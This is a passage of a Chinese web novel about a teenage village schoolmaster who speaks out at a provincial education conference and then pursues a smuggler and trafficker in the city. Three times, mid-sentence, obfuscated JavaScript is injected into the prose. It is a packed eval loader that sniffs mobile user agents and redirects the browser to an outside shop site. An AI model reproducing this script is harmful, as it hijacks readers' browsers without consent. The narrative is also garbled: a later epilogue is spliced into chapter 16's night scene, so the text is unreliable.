“我们想不明白。”张静轩继续说，“一所乡下学堂，教孩子识字算数，教他们做人的道理，为什么就这么难？后来我们才知道，阻挠我们的人，不只因为守旧，还因为利益——他们在走私军火烟土，还在拐卖人口。学堂启民智，百姓开了眼，他们的勾当就藏不住了。” 这话像一块石头扔进平静的湖面。台下骚动起来。郑副厅长的脸色变了变，但很快恢复平静。 张静轩从怀里掏出那本《青石镇新式学堂办学记》，举起：“这是一位记者写的，关于我们学堂的书。里面记录了这三年来，青石镇发生的事——有黑暗，也有光明；有破坏，也有坚守。” 他翻开书，念了一段：“‘在青石镇，我看到了中华民国乡村的希望。那里的人们，用最朴实的方式，守护着教育的火种。那火种很小，但很亮，足以照亮一片黑暗。’” 念完，他合上书，看着台下：“诸位师长，我们青石镇学堂，要的不多。我们只要一个公道——凭什么那些作恶的人可以逍遥法外，而我们这些想办点好事的人，却要处处受制？凭什么省里的拨款，可以一拖再拖，而那些被拐卖的人，却再也回不了家？” 他的声音不高，但字字清晰，像钉子，一颗颗钉进空气里。 台下鸦雀无声。 “我今天站在这里，不是来诉苦，也不是来讨钱。”张静轩说，“我是来告诉诸位，在中华民国，在民国，在无数像青石镇这样的小地方，还有人在坚持——坚持办学，坚持启智，坚持相信，这个国家会变好。” 他顿了顿，最后说：“我的大哥在前线打仗，他说，他在用枪保卫这片山河。我在学堂读书，我说，我在用笔，用声音，保卫这片山河的未来。我们兄弟俩，一个在前线，一个在后方，做的是同一件事——让这片土地上的人，活得像人。” 说完，他微微鞠躬，走下讲台。 静。 厅里静得能听见远处街市的隐约喧嚣。 然后，掌声响起来——先是后排几位年轻教师开始拍手，接着像涟漪荡开，越来越多的人加入。张静轩看见前排那位戴金丝眼镜的校长微微摇头，与邻座低声说了句什么；几位官员面无表情地低头记录；但更多的眼睛亮起来，有人摘下眼镜擦拭，有人挺直了脊背。 掌声持续了很久，直到主持人上台示意才渐渐停歇。 李教授在侧幕看着他，眼里有泪光。 张静轩回到侧幕，水生扑上来抱住他：“静轩哥，你说得太好了！” 赵哥拍了拍他的肩：“小子，有种。” 郑副厅长脸色铁青，但在一片掌声中，他也只好跟着拍手。 接下来的议程，张静轩没怎么听。他坐在那儿，手心全是汗，但心里很畅快。那些话，憋了太久，终于说了出来。至于结果如何，他已经不在意了。 年会结束时，不少人围过来。有校长握着他的手说：“孩子，你说得好。我们学校，愿意跟你们青石镇学堂结成姊妹学校。”有教师说：“我要去你们那儿看看，取取经。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140657|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”还有记者挤过来，要采访。 张静轩一一回应，不卑不亢。水生跟在他身边，挺着小胸脯，像只骄傲的小公鸡。 李教授最后走过来，低声说：“静轩，你今天……可能会惹麻烦。” “我知道。”张静轩点头，“但不说，麻烦更大。” 李教授看着他，叹了口气：“你比你父亲……更像你爷爷。当年你爷爷从关外逃难来时，也是这般——话不多，但句句在理，句句硬气。” 这是张静轩第一次听外人说起爷爷的事。他忽然想起父亲书房里那幅《山河图》，想起爷爷带着一把弓南逃的故事。 “谢谢教授。”他说。 从图书馆出来，天已近黄昏。省城的街道华灯初上，电车叮叮当当地开过。张静轩走在人群里，觉得脚步很轻——不是身体轻，是心里轻。那些压了很久的东西，终于卸下了。 回到客栈，福伯已经备好了饭。四人围桌坐下，水生兴奋地讲着会上的事，比手画脚。卢明远听着，眼睛越来越亮。 “静轩，”他说，“你今天这一说，省城教育界要震动了。” “震动不震动，另说。”张静轩夹了一筷子菜，“但话说了，心里舒坦。” 正吃着，赵哥从外面进来，脸色凝重：“刚接到消息，陈继业……可能来省城了。” 筷子停在半空。 “什么？”卢明远站起来，“他怎么敢……” “狗急跳墙。”赵哥说，“你们今天在年会上的发言，肯定传到他耳朵里了。他怕你们再挖出什么，想来……灭口。” 张静轩放下筷子：“他现在在哪儿？” “不知道。”赵哥摇头，“但我们的人在车站、码头都布置了，一有消息就动手。”他顿了顿，“这几天，你们别出门。等抓到他，再走。” 不出门？可他们来省城，不是为了躲的。 “年会的事还没完。”张静轩说，“明天，还有几个学堂要去拜访。” “太危险了。”福伯开口，“小少爷，这次得听赵哥的。” 张静轩沉默。他明白福伯的担心，也明白赵哥的好意。但就这样躲着？他不甘心。 “这样吧，”他说，“明天我们不出门，但可以去拜访隔壁的客栈——那儿住着几位从邻县来的教师，也是来开年会的。就在客栈里谈，总可以吧？” 赵哥想了想，点头：“那行。我跟着。” 计划就这么定了。夜里，张静轩躺在床上，却睡不着。陈继业要来省城？他胆子真大。但转念一想，也对——一个连拐卖人口都敢做的人，还有什么不敢？ 他想起茶棚里那几个汉子，想起那辆冲出来的汽车，想起马三那张凶恶的脸。这些碎片，在黑暗里拼凑出陈继业的模样——一个为了利益，什么都敢做的恶徒。 这样的人，必须抓住。 他坐起身，点亮灯，摊开纸笔。该给沈特派员写封信了。 “沈叔叔台鉴：今日在教育学会年会发言，已陈青石镇事。闻陈继业或来省城，心甚忧。此獠不除，青石镇难安，学堂难安。盼速擒之，以正国法。静轩谨上。” 信写得很短。他吹干墨迹，折好，放在枕边。明天托赵哥送去。 吹熄灯，重新躺下。窗外的省城依然喧嚣，但张静轩觉得，那喧嚣里，多了些别的东西——或许是变革的气息，或许是希望的火苗。 他知道，从今天起，青石镇学堂的名字，会在省城教育界传开。会有更多的人知道，在青云河边，有那么一群人在坚持办学，启民智，抗黑暗。 这，就够了。 至于陈继业，至于那些阻挠，至于省厅的拨款……路还长，慢慢走。 16. 第十六章 暗巷 省城第二天的晨报，头版下方有条不显眼的新闻：《青石镇少年在年会上直言，引教育界震动》。标题不大，但内容详实，几乎全文刊登了张静轩的发言。文章末尾还加了编者按：“乡村教育之艰难，由此可见一斑。愿当局能闻此言，有所作为。” 张静轩在客栈大堂看到这份报纸时，福伯已经买了好几份，分发给住客。水生捧着报纸，指着自己的名字兴奋地小声念——他识字还不多，但认得“张静轩”三个字。 “静轩哥，你上报了！” 张静轩笑了笑，没说话。他更关心另一条消息——报纸第二版角落有则短讯：“警方昨夜在城南破获一走私窝点，抓获三人，缴获烟土若干。主犯在逃。” 在逃。这两个字像根刺，扎在他心里。 赵哥从外面进来，手里提着早点，脸色却不太好。他把油条包子放在桌上，压低声音：“刚接到通知，陈继业……可能真到省城了。” 卢明远手里的筷子停住：“确定？” “有人在火车站见过他。”赵哥说，“戴着礼帽，遮着脸，但身形像。跟他一起的还有两个人，都带着家伙。” 客栈大堂里还有其他客人，正吃着早饭闲聊。张静轩环视一周，忽然觉得每个人都可疑——那个独坐看报的中年人，那对低声交谈的男女，那个一直盯着门外看的伙计…… “那咱们今天……”卢明远问。 “按原计划。”张静轩说，“去拜访隔壁客栈的教师。但赵哥，得麻烦您跟着。” 赵哥点头：“我就在门外。有事喊一声。” 隔壁客栈叫“悦来居”，比他们住的这家稍大些，也贵些。住的大多是来省城办事的体面人。张静轩要找的那几位教师，是邻县“明德学堂”的先生，昨天在年会上见过，对他很热情，约好今天详谈。 悦来居的大堂更敞亮，摆着几盆菊花，开得正好。三位教师已经在靠窗的桌边等候，两男一女，都穿着半新的长衫或裙装。见张静轩他们进来，忙起身招呼。 “张同学，请坐请坐。”年纪最大的那位姓王，约莫四十岁，面容和善，“昨日听了你的发言，我们几个深受感动。今日特备薄茶，想多听听青石镇的事。” 张静轩谢过，坐下。水生挨着他坐，好奇地打量着桌上的点心——那是省城有名的“八件”，小巧精致，他在青石镇从没见过。 谈话从青石镇学堂的日常开始。张静轩讲得仔细，三位教师听得认真，不时提问。那位女先生姓刘，三十出头，问得最多：“女班的孩子，家长愿意送吗？”“女先生教课，有没有人说闲话？” 张静轩一一回答。讲到苏宛音时，刘先生眼眶红了：“苏师姐……她父亲的事，我们都知道。她能坚持下来，不容易。” 原来刘先生也是省立师范毕业的，比苏宛音高两届。 “刘先生，”张静轩问，“你们明德学堂，办得可顺利？” 王先生叹了口气：“比你们好些，但也难。经费不足，先生不够，还有……地方士绅总说我们‘教坏子弟’。”他顿了顿，“你们那招——联合家长，共同守卫——我们学去了，效果不错。” 正说着，客栈门口传来喧哗声。赵哥警觉地起身，往门口走去。张静轩也转头看去——是几个穿制服的人走进来，为首的是个矮胖的中年人，腰间挎着枪。 “掌柜的！”矮胖男人高声喊道，“有没有见过这个人？”他举起一张照片。 掌柜的凑过去看，摇头：“没见过。” 矮胖男人环视大堂，目光在张静轩这桌停留片刻，走过来：“几位，打扰一下。警务厅办案，看看这个照片。” 照片上是个四十来岁的男子，方脸，浓眉，嘴角有颗痣。张静轩仔细看——不认识。 “没见过。”王先生也说。 矮胖男人收起照片，又打量了张静轩几眼：“你……是不是青石镇那个张静轩？” “是。” “哦。”矮胖男人点点头，“昨天发言那个。不错，有胆识。”他说完，转身要走，又停住，“对了，最近省城不太平，你们这些外乡人，早点办完事，早点回去。” 这话说得突兀。张静轩心头一动：“长官，是不是……陈继业……” 矮胖男人猛地转身，眼神锐利：“你知道陈继业？” “青石镇的案子，我参与过。” “哦对。”矮胖男人想起来，“马三就是你帮着抓的。”他走近一步，压低声音，“既然你知道，我就不瞒你——陈继业确实来省城了。但我们布了网，他跑不了。你们自己小心，别掺和。” 说完，他带着人走了。大堂里一时安静，客人们窃窃私语。 王先生脸色发白：“陈继业……就是那个走私头子？” “是。”张静轩点头，“也是拐卖人口的主犯。” 刘先生握紧了茶杯：“这种人……怎么还敢来省城？” “狗急跳墙。”卢明远说，“静轩在年会上的发言，肯定刺痛他了。” 谈话的气氛变了。三位教师都有些心神不宁。张静轩见状，起身告辞：“今日多谢诸位先生。青石镇那边，还望多联系。” 回到自家客栈，赵哥立刻关上门：“刚才那个人，是警务厅刑侦科的孙科长。他亲自来查，说明陈继业的事，上头很重视。” “那咱们……”卢明远问。 “等。”赵哥说，“等他们抓人。这期间，咱们别乱跑。” 可有些事情，不是想躲就能躲开的。 午后，张静轩在房间里看书——是昨天买的那本《格致读本》，讲的是电的原理，配有插图。水生趴在窗边看街景，忽然说：“静轩哥，那个人……怎么又来了？” 张静轩走到窗边。楼下街对面，站着个穿灰色长衫的男人，正抬头往这边看。见张静轩出现在窗口，那人转身走了，很快消失在人群里。 “是年会那天，在茶摊上见过的。”张静轩认出来，“方记者的同伴。” 他为什么会在这儿？是保护，还是…… 正疑惑着，门外传来敲门声。赵哥去开门，是客栈伙计，手里拿着一封信：“张少爷，有人送来的。” 信没有署名，只写着“张静轩亲启”。张静轩拆开，里面只有一行字：“今晚八点，城西老茶楼见。事关陈继业，勿带旁人。” 字迹潦草，用的是铅笔。 “谁送的？”赵哥问。 “一个小孩，给了就跑。”伙计说，“给了两个铜板呢。” 赵哥接过信看了看，皱眉：“不能去。可能是陷阱。” 张静轩看着那行字。事关陈继业——如果是真的，说不定能帮沈特派员抓到人。如果是陷阱…… “赵哥，”他说，“您陪我走一趟。在远处看着，如果有问题，您就报警。” 赵哥沉吟片刻：“太冒险。” “但如果是重要线索呢？”张静轩说，“陈继业多逍遥一天，就可能多害一个人。” 这话打动了赵哥。他最终点头：“行。但必须听我的——我先进茶楼查看，没问题你再进。一旦有变，立刻撤。” 计划定下。张静轩没告诉卢明远和福伯，只说晚上想出去走走。卢明远要跟，被赵哥拦住了：“人多了显眼。” 傍晚时分，省城下起了小雨。雨丝细密，在电灯光里像无数银线。张静轩撑着油纸伞，跟着赵哥往城西走。城西是老城区，街道狭窄，店铺老旧，行人稀疏。老茶楼在一条巷子深处，招牌已经褪色，门脸破败。 赵哥让张静轩在巷口等着，自己先进去。约莫一刻钟后出来，点头：“里面就两桌客人，看着没问题。我在门口守着，你有事就喊。” 张静轩走进茶楼。里面很暗，只点着几盏油灯。空气里有陈年茶叶和木头腐朽的味道。两桌客人，一桌是两个老头在下棋，一桌是个戴礼帽的男人，背对着门。 他走到那男人桌前。男人抬起头——果然是方记者的同伴，年会那天在茶摊上见过。 “坐。”男人指了指对面的椅子。 张静轩坐下。男人给他倒了杯茶，茶是凉的。 “我叫周文，是林觉民的同事。”男人开口，声音低沉，“今天找你，是想告诉你一件事——陈继业在省城，不只是为了躲，他有别的目的。” “什么目的？” 周文四下看了看，又压低声音：“他有一批货，价值很大，藏在省城某处。现在风声紧，他急着出手，但买家要求□□。交易地点……可能就在这几天定。” “什么货？” “不清楚。但据线人说，不是普通的烟土军火，是更值钱的东西——可能是古董，也可能是……文件。”周文将茶碗推近，声音压得极低，几乎被窗外的雨声吞没：“他收到风声，青石镇案的关键物证——一本细账，不止记录钱财往来，更涉及几位不能见光的人名——可能已被抄送或即将送往省厅复核。他想在账目被彻底公开前，要么盗走，要么……让可能接触到它的人闭嘴。”他抬眼，目光如锥，“你昨日在年会上的发言，直指教育厅。在他们看来，你已是必须‘关注’的对象。我们收到模糊线报，他们可能在查你的住处。另外，”他蘸着茶水，在桌上快速写下一个地址和一个人名代号，“这是他在城西的一处秘密货栈，表面做茶叶，实际是联络点。沈特派员的人已知晓，但对方警惕极高，需要更确切的行动时机。” 他抹去水渍，深深看了张静轩一眼：“情报给你，是林记者和我的选择。但接下来，是进退，是静观还是涉险，你自己权衡。省城的水，比青石镇浑得多。” 文件？细账？张静轩心头一跳。会不会是秦怀远当年留下的其他证据？或者，是涉及更高层人物的东西？ “你怎么知道这些？” 周文笑了：“我是记者，跑社会新闻的，三教九流都有熟人。这个消息，就是前面我说的线人卖给我的。我觉得，对你们或许有用。” “为什么要告诉我？” “因为你们在跟陈继业斗。”周文说，“也因为……我看得出来，你是真想为青石镇做点事。”他顿了顿，“林觉民那本书，是我帮着印的。他说，青石镇的故事，该让更多人知道。” 张静轩沉默。他看着周文——这个记者眼中有关切，也有疲惫。省城的记者，见多了黑暗，但还有人愿意为一点光奔波。 “交易地点，能查到吗？” “难。”周文摇头，“陈继业很小心。但线人说，他最近在城北的‘聚宝斋’古董店出现过两次。那店老板，以前跟他有来往。” 聚宝斋。张静轩记下了。 “还有件事。”周文从怀里掏出个小本子，“这是线人提供的，陈继业在省城的几个可能藏身点。我抄了一份给你。但记住——别自己去查，交给警察。” 张静轩接过本子，翻开看了看。上面列了五个地址，有旅馆，有货栈，还有一个……是教会医院。 “教会医院？” “对。”周文道：“线人还说，陈继业早年火并留下旧伤，每逢阴雨必去一家德国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140658|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教会医院打针止痛。那医院守卫不严，后门临着乱巷……这是个或许能用上的破绽。” 本子很小，但很沉。张静轩把它揣进怀里。 “谢谢。”他说。 “别谢我。”周文站起身，“我也是为了新闻。如果这事成了，我要独家报道。”他戴上礼帽，“你走吧。记住，小心。” 张静轩走出茶楼。雨还在下，巷子里湿漉漉的。赵哥迎上来：“怎么样？” “回去说。” 两人匆匆往回走。雨夜的老城区很静，只有雨声和脚步声。走过一个岔巷时，张静轩忽然瞥见巷子深处有火光一闪——像是划火柴。 他停住脚步。 “怎么了？”赵哥警觉地问。 “那边……”张静轩指过去。 赵哥示意他别出声，自己摸到巷口，探头看去。片刻，他退回来，脸色凝重：“有人在烧东西。三个人，都带着刀。” “是陈继业的人？” “看不清脸。但这时候在这种地方烧东西，肯定没好事。”赵哥拉着张静轩，“走，先回去。” 他们刚转身，巷子里传来一声低喝：“谁在那儿？” 赵哥一把将张静轩推进旁边的门洞，自己挡在前面。脚步声近了，三个人影从巷子里走出来，手里都提着刀。雨夜里，刀光寒冽。 “你们干什么的？”为首的是个疤脸汉子，声音粗哑。 “过路的。”赵哥说，“下雨，躲躲雨。” “过路的？”疤脸汉子打量他们，“这大晚上的，跑这儿来过路？”他往前一步，“手里拿的什么？” 赵哥的手按在腰间——那里有枪。但对方有三个人，都拿着刀，硬拼不划算。 “几位大哥，”张静轩从门洞里走出来，“我们真是过路的。刚从老茶楼出来，想抄近道回客栈，走迷了。” “老茶楼？”疤脸汉子眼神一凝，“去那儿见谁？” “见个朋友。”张静轩说，“省立师范的李教授，约我们谈事。” 他故意说得详细，想唬住对方。果然，疤脸汉子犹豫了——省立师范的教授，不是他们能惹的。 “走吧。”疤脸汉子最终摆摆手，“下次别走这儿。” 赵哥拉着张静轩快步离开。走出老远，还能感觉到背后那三双眼睛的注视。 回到客栈，两人都一身冷汗。卢明远和福伯等在房里，见他们回来，忙问情况。 张静轩把见周文的事说了，又拿出那个小本子。卢明远翻看着，脸色越来越白。 “聚宝斋……我知道那地方。”他说，“在城北，老板姓金，是个笑面虎，专做见不得光的买卖。” “那这些地址……” “得告诉警察。”赵哥说，“我这就去警务厅，找孙科长。” 他拿着本子走了。房间里剩下三人，一时无言。窗外雨声潺潺，衬得屋里更静。 “静轩，”卢明远忽然说，“你有没有觉得……咱们被卷进一个更大的漩涡里了？” 张静轩点头。从青石镇到省城，从办学堂到抓人贩，从要拨款到查走私……事情越来越大，牵扯越来越广。而他，一个十五岁的乡下少年，却站在漩涡中心。 “怕吗？”他问。 卢明远苦笑：“怕。但怕也得做。” 是啊，怕也得做。张静轩想起苏宛音说过同样的话。想起父亲，想起大哥，想起青石镇那些街坊。他们都怕，但都做了。 因为有些事，比怕更重要。 夜里，张静轩又失眠了。他躺在床上，听着雨声，脑子里乱糟糟的。周文的话，疤脸汉子的刀，本子上的地址，还有陈继业那张模糊的脸……在黑暗里旋转。 他起身点亮灯，摊开纸笔。该给父亲写信了。 “父亲大人膝下：儿在省城已七日。日前在教育学会发言，陈青石镇事，反响尚可。然陈继业已至省城，儿今日得线索若干，已报警方。此事恐将更险，但儿以为，除恶务尽。望父亲勿忧，学堂之事，儿必尽力。静轩谨上。” 信写得很克制。他没写今晚的险情，没写那些刀光。有些事，说了只会让父亲更担心。 写完信，他吹熄灯，重新躺下。雨声小了，远处传来火车的汽笛声，悠长，苍凉。那是开往北方的列车，或许会经过大哥所在的地方。 他想念青石镇了。想念祠堂的钟声，想念孩子们的读书声，想念青云河的水声。省城再繁华，也不是他的家乡。 但家乡的安宁，需要他在这里战斗。 月光如水，静静地流淌。 流过省城的巷陌，流过青石镇的祠堂。 流过这片等待着黎明的山河。 省城的拨款，在年报风波与舆论压力下，终于在一个开春的清晨，由新任督学亲自送到了青石镇。数额打了折扣，但终究是“名正言顺”了。 学堂扩建了东厢，新收了十二个学生。水生成了算学课的“小先生”，小莲终于写出了第一封完整的、寄给省城爹爹的信。 秦怀安没有音讯，就像溶入北地的风雪。但张老太爷在某天清晨，发现祠堂门槛下，静静躺着一枚磨光的狼牙——关外猎人的护身符。 张静轩依旧每早在老槐树下练箭。弓弦震响时，他总会望向北方。大哥最新的来信缝在棉袄内里，只有八个字：“山河渐醒，吾弟慎守。” 青云河解冻了，汩汩的水声带着新生般的欢快，流过石桥，绕过镇子，奔向看不见的远方。河岸的柳枝，抽出了一点鲜嫩的、鹅黄色的芽。 17. 第十七章 交易 聚宝斋的门脸藏在城北一条僻静的巷子里。黑漆木门，黄铜门环，门楣上挂着一块乌木匾额，刻着三个鎏金大字：“聚宝斋”。字是好字，颜体，敦厚雍容，但漆已斑驳，露出底下木头的本色。 张静轩站在巷口对面的茶馆二楼，从这个位置，刚好能看见聚宝斋的门口。赵哥坐在他对面，手里端着茶杯，眼神却始终没离开那扇门。 “从早上到现在，进去三个人，出来两个。”赵哥低声说，“都是生面孔，不像常客。” 张静轩点头。他们在这里守了快两个时辰，雨后的阳光从窗格斜射进来，照得茶馆里浮尘飞扬。水生趴在另一张桌上睡着了，卢明远在楼下大堂，负责盯着街面。 这是他们来省城的第九天。昨天周文给的消息，赵哥连夜报给了警务厅。孙科长当即布置人手，监视聚宝斋和那五个可能的藏身点。但一天过去了，没有任何动静。 “会不会是假消息？”张静轩问。 “难说。”赵哥喝了口茶，“陈继业这种人，反侦察意识强。就算真交易，也不会选在光天化日。” 正说着，聚宝斋的门开了。一个穿长衫的中年人走出来，手里提着个皮箱。那人四下看了看，快步往巷子另一头走去。 赵哥立刻站起身：“我去跟。你在这儿等着，别动。” 他匆匆下楼。张静轩看着那人消失在巷口，心里莫名地不安。皮箱不大，但看起来很沉，那人提得有些吃力。里面是什么？文件？还是别的？ 约莫一刻钟后，赵哥回来了，脸色不好。 “跟丢了。”他坐下，擦了把汗，“那家伙进了前面的裁缝铺，后门出去就是大街，人一多，就找不着了。” “看清脸了吗？” “四十来岁，方脸，留着小胡子。走路有点外八字。”赵哥描述，“皮箱是棕色的，边角磨损得厉害。” 正说着，卢明远从楼下上来，手里拿着份报纸：“静轩，你看这个。” 是今天的晚报。第二版有则短讯：“城北古董店‘聚宝斋’今晨遭窃，丢失明代青花瓷瓶一对。店主已报案。” “遭窃？”张静轩一愣，“什么时候的事？” “说是昨夜。”卢明远说，“但刚才那人才提着箱子出来……” 赵哥忽然明白了：“障眼法！故意报案说遭窃，这样就算有人看见他提着箱子出入，也会以为是赃物，不会起疑。” 高明。张静轩不得不承认，陈继业这伙人，心思缜密。 “那接下来……” “等。”赵哥说，“孙科长那边也在等。交易不可能拖太久，陈继业现在就是惊弓之鸟，多留一天，就多一分危险。” 话虽如此，但等待最难熬。午后，茶馆里的客人换了一拨又一拨，聚宝斋的门却再没开过。水生醒了，趴在窗台上看街景。省城的午后很悠闲，挑担的小贩吆喝着，黄包车夫拉着客人在街上来回，偶尔有汽车驶过，扬起尘土。 张静轩看着这一切，忽然觉得很远。这些繁华，这些日常，和他无关。他的心里只有一件事——抓住陈继业，为青石镇，为那些被拐卖的人，讨一个公道。 太阳西斜时，变故发生了。 先是一阵急促的马蹄声从街口传来。两辆警用马车疾驰而至，停在聚宝斋门口。十几个警察跳下车，迅速包围了店铺。孙科长从第二辆马车上下来，脸色铁青。 “出事了。”赵哥站起身。 他们下楼，混在围观的人群里。聚宝斋的门被撞开，警察冲进去。片刻，抬出一个人——是店主，姓金，那个笑面虎。此刻他胸口一片血红，眼睛睁着，已经没气了。 “死了？”卢明远倒吸一口凉气。 孙科长站在门口，指挥手下搜查。围观的群众议论纷纷： “金老板怎么死了？” “听说跟走私案有关……” “活该！这种收赃卖赃的，没一个好下场。” 张静轩看着那具尸体。金老板的死状很惨，胸口至少中了两刀，血把长衫前襟都浸透了。是谁下的手？陈继业？还是…… 正想着，一个警察从店里跑出来，在孙科长耳边低语几句。孙科长脸色更难看，一挥手：“收队！” 警察们抬着尸体，驱散人群，很快离开了。聚宝斋的门被贴上封条，两个警察留下看守。 赵哥拉着张静轩他们退到远处：“走，先回客栈。” 路上，三人都沉默。金老板死了，线索断了。交易还会进行吗？陈继业会不会就此消失？ 回到客栈，福伯已经备好晚饭。四人围桌坐下，却都没胃口。 “赵哥，”卢明远打破沉默，“金老板一死，咱们是不是……没戏了？” 赵哥摇头：“不一定。金老板死了，说明交易可能就在这几天。陈继业怕他泄密，所以灭口。” “那交易地点……” “会换。”赵哥说，“但买家那边，陈继业必须联系。只要他联系，就会留下痕迹。” 正说着，门外传来敲门声。是客栈伙计，又递来一封信：“张少爷，有人送来的。” 还是没署名。张静轩拆开，里面只有一句话：“明日午时，城南土地庙。独自来。” 字迹和上次一样，潦草，铅笔。 “又是他？”赵哥问。 张静轩点头：“周文。” “不能去。”福伯开口，“太危险。金老板刚死，谁知道是不是圈套？” 张静轩看着那行字。独自来——周文为什么要强调这个？是怕人多眼杂，还是…… “赵哥，”他说，“您陪我走一趟。但这次，您别进庙，在远处看着。如果真有危险，您再出手。” 赵哥沉吟良久，最终点头：“行。但必须听我的——一旦有变，立刻撤，别管什么线索。” 夜里，张静轩又失眠了。他躺在床上，脑子里反复想着两件事：金老板的死，和周文的约见。这两件事，有什么联系？ 周文是记者，消息灵通。他知道金老板的死吗？如果知道，为什么还要约见？如果不知道…… 正想着，窗外传来轻微的响动。像是瓦片被踩了一下。 张静轩警觉地坐起身。黑暗中，他听见隔壁房间也有动静——是赵哥起来了。 他轻手轻脚走到窗边，掀开窗帘一角。月光很好，照得客栈后院一片银白。院墙的阴影里，似乎有个人影。 他屏住呼吸。 人影动了，从墙根走到院子中央，仰头看了看二楼窗户——正是张静轩的房间。月光照亮那人的脸——是周文。 周文做了个手势：食指竖在唇前，然后指了指地面，意思是“下来”。 张静轩犹豫了一下，回头看了看门口——赵哥应该已经警觉了。他轻轻推开窗户，示意周文稍等，然后披上衣服，轻手轻脚开门下楼。 后院的门虚掩着。张静轩推门出去，周文站在月光下，脸色苍白。 “长话短说。”周文压低声音，“金老板的死，不是陈继业干的。” “那是谁？” “买家的人。”周文说，“买家发现金老板两头吃——既帮陈继业销赃，又向警方泄密。所以灭口。” “买家是谁？” “不清楚。但来头很大，连陈继业都怕。”周文从怀里掏出个油纸包，“这是金老板死前托人转交给我的。他预感要出事，留了一手。” 油纸包不大，但沉甸甸的。张静轩接过，打开——里面是一本账册，还有几张地契。 “账册是陈继业这些年经手的‘大生意’记录。地契……是买家在省城的几处产业。”周文说，“你把这个交给孙科长，他自然知道怎么查。” 张静轩翻看账册。上面密密麻麻记录着时间、货物、金额、经手人。最近的一笔，是三个月前：“青花瓷瓶一对，明永乐，纹银八千两。经手人：金。买家：代号‘老鬼’。” 老鬼？这个代号，他在大哥的笔记里见过——三年前走私军火案的主犯之一，在逃。 “这个‘老鬼’……” “就是买家。”周文说，“也是三年前那批军火的真正货主。陈继业只是他的代理人。” 张静轩感到脊背发凉。三年前的案子，到现在还没完。这个“老鬼”，手伸得有多长？ “明天的约见，还去吗？”他问。 “去。”周文点头，“但不是我约你，是‘老鬼’的人约我。他们知道我在查，想灭口。我让你去，是想借你的身份——你是青石镇的学生，他们暂时不敢动你。但你要小心，去了什么也别说，什么也别做，露个面就走。” “那你呢？” “我？”周文笑了，笑容苦涩，“我是记者，见过太多黑暗。这次……可能躲不过了。但这些东西，”他指着账册，“得送出去。不然金老板就白死了。” 月光下，周文的脸很平静，但眼神里有种决绝。张静轩忽然想起苏宛音，想起她说到父亲时的神情——那是明知危险，也要前行的决绝。 “周先生，”他说，“您跟我回客栈。赵哥在，能保护您。” 周文摇头：“没用的。他们既然敢杀金老板，就敢杀我。我躲得过初一，躲不过十五。”他顿了顿，“但你不同。你是孩子，他们多少会顾忌。况且，你背后有警务厅，有沈特派员。” “可是……” “别可是了。”周文拍拍他的肩，“账册收好，明天交给孙科长。至于土地庙的约见——去不去，你自己决定。但我建议去，露个面，让他们知道，这事已经不止我一个人在查。” 他说完，转身要走。 “周先生！”张静轩叫住他，“您……保重。” 周文回头，笑了笑：“放心。我当记者十几年，什么风浪没见过。”他摆摆手，消失在院墙的阴影里。 张静轩站在原地，手里攥着油纸包，心里翻江倒海。月光清清冷冷，照着空荡荡的院子。远处传来打更声，三更天了。 他回到房间，赵哥已经等在门口。 “周文来了？”赵哥问。 张静轩点头，把油纸包递给他，又把周文的话说了。 赵哥翻看账册，脸色越来越凝重：“‘老鬼’……孙科长提过这个人，是三年前那批军火的真正货主，背景很深，据说跟某位督军有关系。” 督军？张静轩心头一震。如果真是那样，这案子就不仅仅是走私了，还牵扯到军阀势力。 “那明天的约见……” “去。”赵哥说，“但我和你一起去。周文说得对，你是孩子，他们顾忌。但我在暗处，能保护你。” 计划定下。张静轩躺在床上，却再也睡不着。账册在枕头下，硌着脑袋，像一块冰。他想起周文苍白的脸，想起金老板胸口的血，想起“老鬼”这个代号。 三年前的旧案，像一张网，越收越紧。而他，一个十五岁的乡下少年，不知不觉，已经站在网中央。 他想念青石镇了。想念祠堂的钟声，想念孩子们的读书声，想念父亲书房里那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140659|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏油灯的暖光。那些简单、朴素的日常，此刻显得那么珍贵。 但他回不去。至少现在回不去。 因为他答应了周文，答应了沈特派员，答应了那些被拐卖的人，也答应了自己——要把这件事，查到底。 一夜无眠。 天快亮时，他才迷迷糊糊睡着。梦里，他看见大哥。大哥站在一片硝烟弥漫的战场上，回头对他笑：“静轩，别怕。哥在这儿。” 他重重点头。 醒来时，天已大亮。阳光透过窗纸，在地上投出斑驳的光影。张静轩坐起身，枕头下的账册还在，沉甸甸的。 今天，是来省城的第十天。 也是决战之日。 